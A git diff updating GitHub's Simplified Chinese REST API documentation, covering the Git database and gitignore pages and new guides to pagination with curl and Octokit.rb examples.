6185352bc563024d22dee0b257e2775cadd5b797 ms.translationtype: HT ms.contentlocale: zh-CN -ms.lasthandoff: 09/05/2022 -ms.locfileid: '147063480' +ms.lasthandoff: 12/09/2022 +ms.locfileid: '148192623' --- -## 关于 Git 提交 API +## 关于 Git 提交 -Git 提交是层次结构([Git 树](/rest/reference/git#trees))和 Git 存储库中文件内容 ([Git blob](/rest/reference/git#blobs)) 的快照。 通过这些终结点,可以在 {% data variables.product.product_name %} 上读取[提交对象](https://git-scm.com/book/en/v1/Git-Internals-Git-Objects#Commit-Objects)并将其写入 Git 数据库。 +Git 提交是层次结构([Git 树](/rest/reference/git#trees))和 Git 存储库中文件内容 ([Git blob](/rest/reference/git#blobs)) 的快照。 通过这些终结点,可以在 {% data variables.product.product_name %} 上读取[提交对象](https://git-scm.com/book/en/v2/Git-Internals-Git-Objects#_git_commit_objects)并将其写入 Git 数据库。 diff --git a/translations/zh-CN/content/rest/git/index.md b/translations/zh-CN/content/rest/git/index.md index c771f1fb99..43d2b54464 100644 --- a/translations/zh-CN/content/rest/git/index.md +++ b/translations/zh-CN/content/rest/git/index.md @@ -1,6 +1,6 @@ --- title: Git 数据库 -intro: 'Git 数据库 API 使您能够在 {% data variables.product.product_name %} 上的 Git 数据库中读取和写入原始 Git 对象,并列出和更新 Git 引用(分支头部和标记)。' +intro: '使用 REST API 在 {% data variables.product.product_name %} 上与 Git 数据库中的原始 Git 对象进行交互,并列出和更新 Git 引用(分支头部和标记)。' allowTitleToDifferFromFilename: true redirect_from: - /v3/git @@ -19,11 +19,13 @@ children: - /refs - /tags - /trees -ms.openlocfilehash: a3f498f0334712d268e80a3d25c9147b62a197da -ms.sourcegitcommit: 5f9527483381cfb1e41f2322f67c80554750a47d +ms.openlocfilehash: 98251c33c4bf065a3df35dfb014689aae1890e69 +ms.sourcegitcommit: 6185352bc563024d22dee0b257e2775cadd5b797 ms.translationtype: HT ms.contentlocale: zh-CN -ms.lasthandoff: 09/11/2022 -ms.locfileid: '147882277' +ms.lasthandoff: 12/09/2022 +ms.locfileid: '148193259' --- -Git 数据库 API 使您能够在 {% data variables.product.product_name %} 上的 Git 数据库中读取和写入原始 Git 对象,并列出和更新您的引用(分支头部和标记)。 有关使用 Git 数据库 API 的详细信息,请参阅 [Git 数据 API 入门](/rest/guides/getting-started-with-the-git-database-api)。 +## 关于 Git 数据库 + +REST API 使你能够在 {% data variables.product.product_name %} 上的 Git 数据库中读取和写入原始 Git 对象,并列出和更新你的引用(分支头部和标记)。 有关使用 REST API 与 Git 数据库交互的详细信息,请参阅“[Git 数据 API 入门](/rest/guides/getting-started-with-the-git-database-api)”。 diff --git a/translations/zh-CN/content/rest/git/refs.md b/translations/zh-CN/content/rest/git/refs.md index 4a1663ed2c..d5249f7e78 100644 --- a/translations/zh-CN/content/rest/git/refs.md +++ b/translations/zh-CN/content/rest/git/refs.md @@ -1,7 +1,7 @@ --- title: Git 引用 shortTitle: References -intro: '可以通过 Git 引用 API 在 {% data variables.product.product_name %} 上读取和写入对 Git 数据库的引用' +intro: '使用 REST API 与 {% data variables.product.product_name %} 上的 Git 数据库中的引用进行交互' versions: fpt: '*' ghes: '*' @@ -11,13 +11,13 @@ topics: - API miniTocMaxHeadingLevel: 3 allowTitleToDifferFromFilename: true -ms.openlocfilehash: 60f76710e14a754f9508f0919c94b9fbe57d21e1 -ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.openlocfilehash: c248685d867fff1835018f0b3021536a8a968168 +ms.sourcegitcommit: 6185352bc563024d22dee0b257e2775cadd5b797 ms.translationtype: HT ms.contentlocale: zh-CN -ms.lasthandoff: 09/05/2022 -ms.locfileid: '147093052' +ms.lasthandoff: 12/09/2022 +ms.locfileid: '148192895' --- -## 关于 Git 引用 API +## 关于 Git 引用 -Git 引用 (`git ref`) 是一个包含 Git 提交 SHA-1 哈希的文件。 当引用 Git 提交时,你可以使用 Git 引用,与哈希相比这是一个易于记住的名称。 可以重写 Git 引用指向新的提交。 分支是存储新 Git 提交哈希的 Git 引用。 通过这些终结点,可以在 {% data variables.product.product_name %} 上读取[引用](https://git-scm.com/book/en/v1/Git-Internals-Git-References)并将其写入 Git 数据库。 +Git 引用 (`git ref`) 是一个包含 Git 提交 SHA-1 哈希的文件。 当引用 Git 提交时,你可以使用 Git 引用,与哈希相比这是一个易于记住的名称。 可以重写 Git 引用指向新的提交。 分支是存储新 Git 提交哈希的 Git 引用。 通过这些终结点,可以在 {% data variables.product.product_name %} 上读取[引用](https://git-scm.com/book/en/v2/Git-Internals-Git-References)并将其写入 Git 数据库。 diff --git a/translations/zh-CN/content/rest/git/tags.md b/translations/zh-CN/content/rest/git/tags.md index 90d4c61adc..3c9f1892c5 100644 --- a/translations/zh-CN/content/rest/git/tags.md +++ b/translations/zh-CN/content/rest/git/tags.md @@ -2,7 +2,7 @@ title: Git 标记 shortTitle: Tags allowTitleToDifferFromFilename: true -intro: '可通过 Git 标记 API 在 {% data variables.product.product_name %} 上读取标记对象并将其写入 Git 数据库。' +intro: '使用 REST API 与 {% data variables.product.product_name %} 上的 Git 数据库中的标记对象进行交互。' versions: fpt: '*' ghes: '*' @@ -11,13 +11,13 @@ versions: topics: - API miniTocMaxHeadingLevel: 3 -ms.openlocfilehash: d0ba994be564467d3b84744e6618417b927828aa -ms.sourcegitcommit: 76b840f45ba85fb79a7f0c1eb43bc663b3eadf2b +ms.openlocfilehash: 0d0a10afabf100cb34a0061585b87b17d5afc416 +ms.sourcegitcommit: 6185352bc563024d22dee0b257e2775cadd5b797 ms.translationtype: HT ms.contentlocale: zh-CN -ms.lasthandoff: 09/12/2022 -ms.locfileid: '145129070' +ms.lasthandoff: 12/09/2022 +ms.locfileid: '148192887' --- -## 关于 Git 标记 API +## 关于 Git 标记 -Git 标记类似于 [Git 引用](/rest/reference/git#refs),但它指向的 Git 提交永远不会更改。 当您想要指向特定发行版时,Git 标记非常有用。 通过这些终结点,可以在 {% data variables.product.product_name %} 上读取[标记对象](https://git-scm.com/book/en/v1/Git-Internals-Git-References#Tags)并将其写入 Git 数据库。 Git 标记 API 仅支持[带批注的标记对象](https://git-scm.com/book/en/v1/Git-Internals-Git-References#Tags),不支持轻量级标记。 +Git 标记类似于 [Git 引用](/rest/reference/git#refs),但它指向的 Git 提交永远不会更改。 当您想要指向特定发行版时,Git 标记非常有用。 通过这些终结点,可以在 {% data variables.product.product_name %} 上读取[标记对象](https://git-scm.com/book/en/v2/Git-Internals-Git-References#_tags)并将其写入 Git 数据库。 API 仅支持[附注标签标记对象](https://git-scm.com/book/en/v2/Git-Internals-Git-References#_tags),不支持轻量标签。 diff --git a/translations/zh-CN/content/rest/git/trees.md b/translations/zh-CN/content/rest/git/trees.md index 04d9345e8a..8a7b3065f5 100644 --- a/translations/zh-CN/content/rest/git/trees.md +++ b/translations/zh-CN/content/rest/git/trees.md @@ -2,7 +2,7 @@ title: Git 树 shortTitle: Trees allowTitleToDifferFromFilename: true -intro: '通过Git 树 API,可以在 {% data variables.product.product_name %} 上读取树对象并将其写入 Git 数据库。' +intro: '使用 REST API 与 {% data variables.product.product_name %} 上的 Git 数据库中的树对象进行交互。' versions: fpt: '*' ghes: '*' @@ -11,13 +11,13 @@ versions: topics: - API miniTocMaxHeadingLevel: 3 -ms.openlocfilehash: 8c13e6c74f334152d67433ab9a90f7dac663b3d6 -ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.openlocfilehash: ecd3781bbc78fff8b2d75f25b16d303081a7d605 +ms.sourcegitcommit: 6185352bc563024d22dee0b257e2775cadd5b797 ms.translationtype: HT ms.contentlocale: zh-CN -ms.lasthandoff: 09/11/2022 -ms.locfileid: '147884467' +ms.lasthandoff: 12/09/2022 +ms.locfileid: '148193047' --- -## 关于 Git 树 API +## 关于 Git 树 -Git 树对象在 Git 仓库中的文件之间创建层次结构。 您可以使用 Git 树对象创建目录与其包含的文件之间的关系。 通过这些终结点,可以在 {% data variables.product.product_name %} 上读取[树对象](https://git-scm.com/book/en/v1/Git-Internals-Git-Objects#Tree-Objects)并将其写入 Git 数据库。 +Git 树对象在 Git 仓库中的文件之间创建层次结构。 您可以使用 Git 树对象创建目录与其包含的文件之间的关系。 通过这些终结点,可以在 {% data variables.product.product_name %} 上读取[树对象](https://git-scm.com/book/en/v2/Git-Internals-Git-Objects#_tree_objects)并将其写入 Git 数据库。 diff --git a/translations/zh-CN/content/rest/gitignore.md b/translations/zh-CN/content/rest/gitignore.md index 52f02250e9..240ed49076 100644 --- a/translations/zh-CN/content/rest/gitignore.md +++ b/translations/zh-CN/content/rest/gitignore.md @@ -1,6 +1,6 @@ --- title: Gitignore -intro: Gitignore API 提取可用于忽略文件和目录的 `.gitignore` 模板。 +intro: 使用 REST API 获取可用于忽略文件和目录的 `.gitignore` 模板。 versions: fpt: '*' ghes: '*' @@ -11,21 +11,15 @@ topics: miniTocMaxHeadingLevel: 3 redirect_from: - /rest/reference/gitignore -ms.openlocfilehash: e830b0f00d60f3eb121fa2a99a910b073780700e -ms.sourcegitcommit: cfe91073c844cb762131b2de9fb41f7f9db792fc +ms.openlocfilehash: a3d6d35014a0c6bc46102fa7abfa11659fff6fbf +ms.sourcegitcommit: 6185352bc563024d22dee0b257e2775cadd5b797 ms.translationtype: HT ms.contentlocale: zh-CN -ms.lasthandoff: 11/24/2022 -ms.locfileid: '148181266' +ms.lasthandoff: 12/09/2022 +ms.locfileid: '148193039' --- -## 关于 Gitignore API +## 关于 gitignore -通过 API 在 {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.location.product_location %}{% endif %} 上创建新存储库时,可以指定一个 [.gitignore 模板](/github/getting-started-with-github/ignoring-files)在创建后应用于存储库。 .gitignore 模板 API 可列出模板,并从 {% data variables.product.product_name %} [.gitignore 存储库](https://github.com/github/gitignore)中获取模板。 +通过 API 在 {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.location.product_location %}{% endif %} 上创建新存储库时,可以指定一个 [.gitignore 模板](/github/getting-started-with-github/ignoring-files)在创建后应用于存储库。 可以使用 REST API 从 {% data variables.product.product_name %} [.gitignore 存储库](https://github.com/github/gitignore)中获取 .gitignore 模板。 -### gitignore 的自定义媒体类型 - -获取 gitignore 模板时,您可以使用以下自定义媒体类型。 - - application/vnd.github.raw - -有关详细信息,请参阅“[媒体类型](/rest/overview/media-types)”。 +获取 gitignore 模板时,你可以使用 `application/vnd.github.raw` 自定义媒体类型。 有关详细信息,请参阅“[媒体类型](/rest/overview/media-types)”。 diff --git a/translations/zh-CN/content/rest/guides/best-practices-for-integrators.md b/translations/zh-CN/content/rest/guides/best-practices-for-integrators.md index dfe5fd968e..89bfa32273 100644 --- a/translations/zh-CN/content/rest/guides/best-practices-for-integrators.md +++ b/translations/zh-CN/content/rest/guides/best-practices-for-integrators.md @@ -12,12 +12,12 @@ versions: topics: - API shortTitle: Integrator best practices -ms.openlocfilehash: 76e0a405394529bb8b40b0a0af10d5e19fbbf3a5 -ms.sourcegitcommit: 5f9527483381cfb1e41f2322f67c80554750a47d +ms.openlocfilehash: bdfc2449946e40b017dc028869deb7991d5a344a +ms.sourcegitcommit: 6185352bc563024d22dee0b257e2775cadd5b797 ms.translationtype: HT ms.contentlocale: zh-CN -ms.lasthandoff: 09/11/2022 -ms.locfileid: '147882269' +ms.lasthandoff: 12/09/2022 +ms.locfileid: '148193239' --- 有兴趣与 GitHub 平台集成吗? [你有很多同伴](https://github.com/integrations)。 本指南将帮助你构建能够为用户提供最佳体验并确保与 API 进行可靠交互的应用。 @@ -65,7 +65,7 @@ GitHub 在资源发生移动时会通过提供重定向状态代码来明确告 为了应用程序的稳定性,您不应该尝试解析此数据,或者尝试猜测并构造未来 URL 的格式。 否则,如果我们决定更改该 URL,您的应用程序可能会中断。 -例如,在处理分页结果时,人们往往很想构造在末尾追加 `?page=` 的 URL。 要抑制这种冲动。 [我们的分页指南](/guides/traversing-with-pagination)提供了一些关于可靠跟踪分页结果的安全提示。 +例如,在处理分页结果时,人们往往很想构造在末尾追加 `?page=` 的 URL。 要抑制这种冲动。 有关可靠跟踪分页结果的详细信息,请参阅“[在 REST API 中使用分页](/rest/guides/using-pagination-in-the-rest-api)”。 ## 在处理事件之前检查事件类型和操作 diff --git a/translations/zh-CN/content/rest/guides/discovering-resources-for-a-user.md b/translations/zh-CN/content/rest/guides/discovering-resources-for-a-user.md index 31d7e6a56a..6f6343f767 100644 --- a/translations/zh-CN/content/rest/guides/discovering-resources-for-a-user.md +++ b/translations/zh-CN/content/rest/guides/discovering-resources-for-a-user.md @@ -12,12 +12,12 @@ versions: topics: - API shortTitle: Discover resources for a user -ms.openlocfilehash: 9650ff8dee220f0b32d74cacb0f86acd236df5b6 -ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.openlocfilehash: 3b3fd627260ac03d0991db73fcb5492c1284b2c0 +ms.sourcegitcommit: 6185352bc563024d22dee0b257e2775cadd5b797 ms.translationtype: HT ms.contentlocale: zh-CN -ms.lasthandoff: 09/05/2022 -ms.locfileid: '145129059' +ms.lasthandoff: 12/09/2022 +ms.locfileid: '148193213' --- 向 {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %}{% else %}{% data variables.product.product_name %}{% endif %} API 发出经过身份验证的请求时,应用程序通常需要获取当前用户的仓库和组织。 在本指南中,我们将介绍如何可靠地发现这些资源。 @@ -33,7 +33,7 @@ ms.locfileid: '145129059' [OAuth 作用域][scopes]和[组织应用程序策略][oap]决定了你的应用可以为用户访问其中哪些存储库。 使用下面的工作流程来发现这些仓库。 -照常,首先需要 [GitHub 的 Octokit.rb][octokit.rb] Ruby 库。 然后我们将配置 Octoberkit.rb,使其为我们自动处理[分页][pagination]。 +照常,首先需要 [GitHub 的 Octokit.rb][octokit.rb] Ruby 库。 然后我们将配置 Octoberkit.rb,使其为我们自动处理分页。 有关分页的详细信息,请参阅“[在 REST API 中使用分页](/rest/guides/using-pagination-in-the-rest-api)”。 ``` ruby require 'octokit' @@ -70,7 +70,7 @@ end 应用程序可以为用户执行各种与组织相关的任务。 若要执行这些任务,应用程序需要具有足够权限的 [OAuth 授权][scopes]。 例如,`read:org` 作用域允许你[列出团队][list-teams],`user` 作用域允许你[公开用户的组织成员身份][publicize-membership]。 一旦用户将其中一个或多个作用域授予您的应用程序,您就可以获取用户的组织。 -与上述发现存储库的过程一样,我们首先需要 [GitHub 的 Octokit.rb][octokit.rb] Ruby 库,并对其进行配置,以便为我们处理[分页][pagination]: +与上述发现存储库的过程一样,我们首先需要 [GitHub 的 Octokit.rb][octokit.rb] Ruby 库,并对其进行配置,以便为我们处理分页。 有关分页的详细信息,请参阅“[在 REST API 中使用分页](/rest/guides/using-pagination-in-the-rest-api)”。 ``` ruby require 'octokit' @@ -108,7 +108,6 @@ end [make-authenticated-request-for-user]: /rest/guides/basics-of-authentication#making-authenticated-requests [oap]: https://developer.github.com/changes/2015-01-19-an-integrators-guide-to-organization-application-policies/ [octokit.rb]: https://github.com/octokit/octokit.rb -[pagination]: /rest#pagination [platform samples]: https://github.com/github/platform-samples/tree/master/api/ruby/discovering-resources-for-a-user [publicize-membership]: /rest/reference/orgs#set-public-organization-membership-for-the-authenticated-user [register-oauth-app]: /rest/guides/basics-of-authentication#registering-your-app diff --git a/translations/zh-CN/content/rest/guides/traversing-with-pagination.md b/translations/zh-CN/content/rest/guides/traversing-with-pagination.md new file mode 100644 index 0000000000..8a4429ea21 --- /dev/null +++ b/translations/zh-CN/content/rest/guides/traversing-with-pagination.md @@ -0,0 +1,316 @@ +--- +title: 使用分页遍历 +intro: 通过一些使用搜索 API 的示例,探讨如何使用分页来管理响应。 +redirect_from: +- /guides/traversing-with-pagination +- /v3/guides/traversing-with-pagination +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: +- API +shortTitle: Traverse with pagination +miniTocMaxHeadingLevel: 3 +ms.openlocfilehash: 92173dffdf2c50bdcd2b10fa42ef634683a3e149 +ms.sourcegitcommit: d1d7ccc513192fdd0fc27bb49dc9c85108119b91 +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 11/21/2022 +ms.locfileid: "148179527" +--- +{% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %}{% else %}{% data variables.product.product_name %}{% endif %} API 为开发人员提供了丰富的信息供他们使用。 +大多数情况下,甚至可能会发现要求提供的信息太多,为了让服务器满意,API 会自动[对请求的项进行分页](/rest/overview/resources-in-the-rest-api#pagination)。 + +在本指南中,我们将对搜索 API 进行一些调用,并使用分页对结果进行迭代。 可以在 [platform-samples][platform samples] 存储库中找到此项目的完整源代码。 + +{% data reusables.rest-api.dotcom-only-guide-note %} + + + +## 分页基础知识 + +首先需要了解有关接收分页条目的一些事实: + + +1. 不同的 API 调用响应具有不同的默认值。 例如,对[列出公共存储库](/rest/reference/repos#list-public-repositories)的调用以 30 个为一组提供分页项,而对 GitHub 搜索 API 的调用以 100 个为一组提供项 +2. 您可以指定要接收的条目数(最多 100 个);但是, +3. 出于技术原因,并非每个端点的行为都相同。 例如,[事件](/rest/reference/activity#events)不允许设置接收项的最大值。 +请务必阅读关于如何处理特定端点分页结果的文档。 + +{% note %} + +注意:应始终依赖于链接标头中包含的 URL。 不要试图猜测或构建自己的 URL。 + +{% endnote %} + + +### 链接标头 + +响应头包含有关分页的信息。 有关标头的详细信息,请参阅“[REST API 入门](/rest/guides/getting-started-with-the-rest-api#about-the-response-code-and-headers)”。 若要获取响应头,请在请求中包含 `-I` 标志。 例如: + +```shell +$ curl -I -H "Accept: application/vnd.github+json" -H "Authorization: Bearer YOUR_TOKEN" https://api.github.com/enterprises/advacado-corp/audit-log + +``` + +`-I` 标志仅返回响应头。 如果响应已分页,那么响应头将包含 `link` 标头。 标头将如下所示: + +``` +link: ; rel="next" +``` + +或 + +``` +link: ; rel="next", ; rel="last" +``` +### 分页类型 + +{% data variables.product.company_short %} 的 API 使用两种分页方法:基于页面的分页和基于游标的分页。 如果 `link` 标头包含 `page`,那么操作使用基于页面的分页。 如果 `link` 标头包含 `before` 和 `after`,则操作使用基于游标的分页。 + + +#### 基于页面的分页 + +基于页面的分页的链接标头将指示有关上一页、下一页、第一页和最后一页的信息。 如果未请求特定页面,则响应将默认为第一页,并将省略有关第一页和上一页的信息。 + +例如,对于未指定页面的请求,此标头指出下一页为 `2`,最后一页为 `511`。 + +``` +link: ; rel="next", ; rel="last" +``` + +例如,对于指定第 5 页的请求,此标头声明上一页为 `4`、下一页为 `6`、最后一页为 `511`、第一页为 `1`。 + +``` +link: ; rel="prev", ; rel="next", ; rel="last", ; rel="first" +``` + +#### 基于游标的分页 + +游标分页使用术语 `before` 和 `after` 来浏览页面。 `rel="next"` 和 `rel="prev"` 标记数据集中的游标点,并为前往当前页的 `before` 和 `after` 页提供参考。 + +``` +link: ; rel="next", +; rel="first", +; rel="prev" +``` + +在此示例中,`rel=next` 指示下一页位于: + +``` +after=MS42NjQzODM5MTkzNDdlKzEyfDM0MkI6NDdBNDo4RTFGMEM6NUIyQkZCMzo2MzM0N0JBRg%3D%3D&before= +``` + + + + +### 使用分页 + +#### 基于游标的分页 + +使用基于游标的分页要求使用术语 `before` 和 `after`。 若要使用 `before` 和 `after` 进行导航,请将上面生成的链接标头复制到 curl 请求中: + +```shell +$ curl -I -H "Accept: application/vnd.github+json" -H "Authorization: Bearer YOUR_TOKEN" https://api.github.com/enterprises/13827/audit-log?after=MS42NjQzODM5MTkzNDdlKzEyfDM0MkI6NDdBNDo4RTFGMEM6NUIyQkZCMzo2MzM0N0JBRg%3D%3D&before= +``` + +上述示例将生成一个结果页和可用于发出下一个请求的新标头信息。 `rel="next"` 提供下一个结果页。 `rel="prev"` 提供上一个结果页。 此处的重要输出部分是需要生成链接标头,而不是手动输入。 从以下输出复制整个链接。 + +``` +link: ; rel="next", +; rel="first", +; rel="prev" +``` + +与基于页面的分页不同,结果不会返回响应中的最后一页的页码。 + + link: ; rel="next", + ; rel="first", + ; rel="prev" + +由于基于游标的分页在数据集中创建引用点,因此它无法计算结果总数。 + + +#### 基于页面的分页 + +要使用基于页面的分页进行导航,请传入 `page` 参数。 默认情况下,`page` 始终从 `1` 开始。 在以下示例中,我们已向搜索 API Mozilla 项目发出使用短语 `addClass` 的 curl 请求。 让我们跳转至第 14 页,而不是从第 1 页开始。 + +```shell +$ curl -I "https://api.github.com/search/code?q=addClass+user:mozilla&page=14" +``` + +以下是 HTTP 请求中链接标头的例外情况: + + Link: ; rel="next", + ; rel="last", + ; rel="first", + ; rel="prev" + +在此示例中,`rel="next"` 为第 15 页,`rel="last"` 为第 34 页。 但现在我们得到了更多信息:`rel="first"` 表示第一页的 URL,更重要的是,可通过 `rel="prev"` 知道上一页的页码。 使用此信息,可以构建一些 UI,让用户在 API 调用中的第一个、上一个、下一个或最后一个结果列表之间跳转。 + + +### 更改接收的条目数量 + +#### 基于页面的分页 + +通过传递 `per_page` 参数,可以指定希望每个页面返回的项数,最多 100 个项。 让我们尝试询问关于 `addClass` 的 50 个项: + +```shell +$ curl -I "https://api.github.com/search/code?q=addClass+user:mozilla&per_page=50" +``` + +请注意它对标头响应的影响: + + Link: ; rel="next", + ; rel="last" + +你可能已经猜到了,`rel="last"` 信息表示最后一页现在是第 20 页。 这是因为我们要求每页提供有关我们结果的更多信息。 + +#### 基于游标的分页 + +还可以为基于游标的分页传递 `per_page` 参数。 + +```shell +$ curl -I -H "Accept: application/vnd.github+json" -H "Authorization: Bearer YOUR_TOKEN" https://api.github.com/enterprises/13827/audit-log?after=MS42NjQzODM5MTkzNDdlKzEyfDM0MkI6NDdBNDo4RTFGMEM6NUIyQkZCMzo2MzM0N0JBRg%3D%3D&before=&per_page=50 +``` + +## 使用信息 + +你不希望仅仅为了能够使用分页而进行低级别的 curl 调用,因此让我们编写一个小的 Ruby 脚本,该脚本可完成上面所描述的所有内容。 + +和往常一样,首先需要 [GitHub 的 Octokit.rb][octokit.rb] Ruby 库,然后传入我们的 [{% data variables.product.pat_generic %}][personal token]: + +``` ruby +require 'octokit' + +# !!! DO NOT EVER USE HARD-CODED VALUES IN A REAL APP !!! +# Instead, set and test environment variables, like below +client = Octokit::Client.new :access_token => ENV['MY_PERSONAL_TOKEN'] +``` + +接下来,将使用 Octokit 的 `search_code` 方法执行搜索。 与使用 `curl` 不同的是,我们还可以立即检索结果的数量,所以我们输入以下代码: + +``` ruby +results = client.search_code('addClass user:mozilla') +total_count = results.total_count +``` + +现在,我们来获取最后一页的页码,类似于链接标头中的 `page=34>; rel="last"` 信息。 Octokit.rb 通过一个名为“[超媒体链接关系][hypermedia-relations]”的实现来支持分页信息。 +我们不会对这种关系展开详细讨论,只想提醒你,`results` 变量中的每个元素都有一个称为 `rels` 的哈希,它可以包含有关 `:next`、`:last`、`:first` 和 `:prev` 的信息,具体取决于所得到的结果。 这些关系还包含通过调用 `rels[:last].href` 所得 URL 的相关信息。 + +知道了这一点后,我们来获取最后一个结果的页码,并将所有这些信息呈现给用户: + +``` ruby +last_response = client.last_response +number_of_pages = last_response.rels[:last].href.match(/page=(\d+).*$/)[1] + +puts "There are #{total_count} results, on #{number_of_pages} pages!" +``` + +最后,我们来遍历结果。 可使用循环 `for i in 1..number_of_pages.to_i` 来实现此目的,但是,让我们遵循 `rels[:next]` 标头以从每个页面检索信息。 为简单起见,我们只获取每个页面中第一个结果的文件路径。 为此,我们需要一个循环;在每个循环结束时,我们将根据 `rels[:next]` 信息来检索下一页的数据集。 +当没有 `rels[:next]` 信息可供使用(也就是说,我们位于 `rels[:last]`)时,循环将结束。 它应如下所示: + +``` ruby +puts last_response.data.items.first.path +until last_response.rels[:next].nil? + last_response = last_response.rels[:next].get + puts last_response.data.items.first.path +end +``` + +使用 Octokit.rb 更改每页的条目数非常简单。 只需将 `per_page` 选项哈希传递给初始客户端构造。 之后,代码应保持不变: + +``` ruby +require 'octokit' + +# !!! DO NOT EVER USE HARD-CODED VALUES IN A REAL APP !!! +# Instead, set and test environment variables, like below +client = Octokit::Client.new :access_token => ENV['MY_PERSONAL_TOKEN'] + +results = client.search_code('addClass user:mozilla', :per_page => 100) +total_count = results.total_count + +last_response = client.last_response +number_of_pages = last_response.rels[:last].href.match(/page=(\d+).*$/)[1] + +puts last_response.rels[:last].href +puts "There are #{total_count} results, on #{number_of_pages} pages!" + +puts "And here's the first path for every set" + +puts last_response.data.items.first.path +until last_response.rels[:next].nil? + last_response = last_response.rels[:next].get + puts last_response.data.items.first.path +end +``` + +## 构造分页链接 + +一般来说,使用分页时,你的目标不是要抓住所有可能的结果,而是要生成一组导航,如下所示: + +![分页链接示例](/assets/images/pagination_sample.png) + +让我们勾勒出一个可能需要做什么的微观版本。 + +根据上面的代码,我们已经知道可以从第一次调用中的分页结果中获取 `number_of_pages`: + +``` ruby +require 'octokit' + +# !!! DO NOT EVER USE HARD-CODED VALUES IN A REAL APP !!! +# Instead, set and test environment variables, like below +client = Octokit::Client.new :access_token => ENV['MY_PERSONAL_TOKEN'] + +results = client.search_code('addClass user:mozilla') +total_count = results.total_count + +last_response = client.last_response +number_of_pages = last_response.rels[:last].href.match(/page=(\d+).*$/)[1] + +puts last_response.rels[:last].href +puts "There are #{total_count} results, on #{number_of_pages} pages!" +``` + +我们可以从其中构造美观的数字框 ASCII 表示形式: +``` ruby +numbers = "" +for i in 1..number_of_pages.to_i + numbers << "[#{i}] " +end +puts numbers +``` + +我们通过构造一个随机数来模拟用户单击其中一个框: + +``` ruby +random_page = Random.new +random_page = random_page.rand(1..number_of_pages.to_i) + +puts "A User appeared, and clicked number #{random_page}!" +``` + +现在我们有了页码,可通过传递 `:page` 选项,使用 Octokit 显式地检索各个页面: + +``` ruby +clicked_results = client.search_code('addClass user:mozilla', :page => random_page) +``` + +如果想变得复杂一点,还可以抓取前一页和后一页,以便为后退 (`<<`) 和前进 (`>>`) 元素生成链接: + +``` ruby +prev_page_href = client.last_response.rels[:prev] ? client.last_response.rels[:prev].href : "(none)" +next_page_href = client.last_response.rels[:next] ? client.last_response.rels[:next].href : "(none)" + +puts "The prev page link is #{prev_page_href}" +puts "The next page link is #{next_page_href}" +``` + +[pagination]: /rest#pagination +[platform samples]: https://github.com/github/platform-samples/tree/master/api/ruby/traversing-with-pagination +[octokit.rb]: https://github.com/octokit/octokit.rb +[personal token]: /articles/creating-an-access-token-for-command-line-use +[hypermedia-relations]: https://github.com/octokit/octokit.rb#pagination +[listing commits]: /rest/reference/commits#list-commits diff --git a/translations/zh-CN/content/rest/guides/using-pagination-in-the-rest-api.md b/translations/zh-CN/content/rest/guides/using-pagination-in-the-rest-api.md new file mode 100644 index 0000000000..d0ebea2cd0 --- /dev/null +++ b/translations/zh-CN/content/rest/guides/using-pagination-in-the-rest-api.md @@ -0,0 +1,185 @@ +--- +title: 在 REST API 中使用分页 +intro: 了解如何从 REST API 浏览分页响应。 +redirect_from: + - /guides/traversing-with-pagination + - /v3/guides/traversing-with-pagination + - /rest/guides/traversing-with-pagination +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - API +shortTitle: Pagination +miniTocMaxHeadingLevel: 3 +ms.openlocfilehash: 3a47974e431b227a225584ff6d3cd65f21a1ab9a +ms.sourcegitcommit: 6185352bc563024d22dee0b257e2775cadd5b797 +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 12/09/2022 +ms.locfileid: '148193219' +--- +## 关于分页 + +当 REST API 的响应包含许多结果时,{% data variables.product.company_short %} 将对结果进行分页并返回部分结果。 例如,`GET /repos/octocat/Spoon-Knife/issues` 将仅返回 `octocat/Spoon-Knife` 存储库中的 30 个问题,即使存储库包含 1600 多个未解决的问题。 这使得服务器和用户的响应更易于处理。 + +本指南演示如何在分页响应中请求其他结果页,如何更改每页返回的结果数,以及如何编写脚本来获取多页结果。 + +## 使用链接标头 + +如果响应已分页,则响应头将包含链接标头。 如果终结点不支持分页或所有结果都显示在一页中,将省略链接标头。 链接标头包含可用于提取其他结果页的 URL。 使用 curl 或 {% data variables.product.prodname_cli %} 时,若要要查看响应头,请在请求中传递 `--include` 标志。 使用库发出请求时,若要查看响应头,请按照该库的文档进行操作。 例如: + +```shell +curl --include --request GET \ +--url "https://api.github.com/repos/octocat/Spoon-Knife/issues" \ +--header "Accept: application/vnd.github+json" +``` + +如果响应已分页,链接标头将如下所示: + +``` +link: ; rel="prev", ; rel="next", ; rel="last", ; rel="first" +``` + +链接标头提供上一页、下一页、第一页和最后一页结果的 URL: + +- 上一页的 URL 后跟 `rel="prev"`。 +- 下一页的 URL 后跟 `rel="next"`。 +- 最后一页的 URL 后跟 `rel="last"`。 +- 第一页的 URL 后跟 `rel="first"`。 + +在某些情况下,其中只有部分链接可用。 例如,如果位于结果的第一页,则不会包含指向上一页的链接;如果无法计算,则不会包含指向最后一页的链接。 + +可以使用链接标头中的 URL 请求另一页的结果。 例如,根据上一个示例请求最后一页的结果: + +```shell +curl --include --request GET \ +--url "https://api.github.com/repositories/1300192/issues?page=515" \ +--header "Accept: application/vnd.github+json" +``` + +链接标头中的 URL 使用查询参数来指示要返回的结果页。 链接 URL 中的查询参数可能因终结点而异:每个分页终结点都将使用 `page`、`before`/`after` 或 `since` 查询参数。 (某些终结点将 `since` 参数用于非分页内容。)在所有情况下,都可以使用链接标头中的 URL 来提取其他结果页面。 有关查询参数的详细信息,请参阅“[REST API 入门](/rest/guides/getting-started-with-the-rest-api#using-query-parameters)”。 + +## 更改每页显示的项数 + +如果终结点支持 `per_page` 查询参数,则可以控制在页面上返回的结果数。 有关查询参数的详细信息,请参阅“[REST API 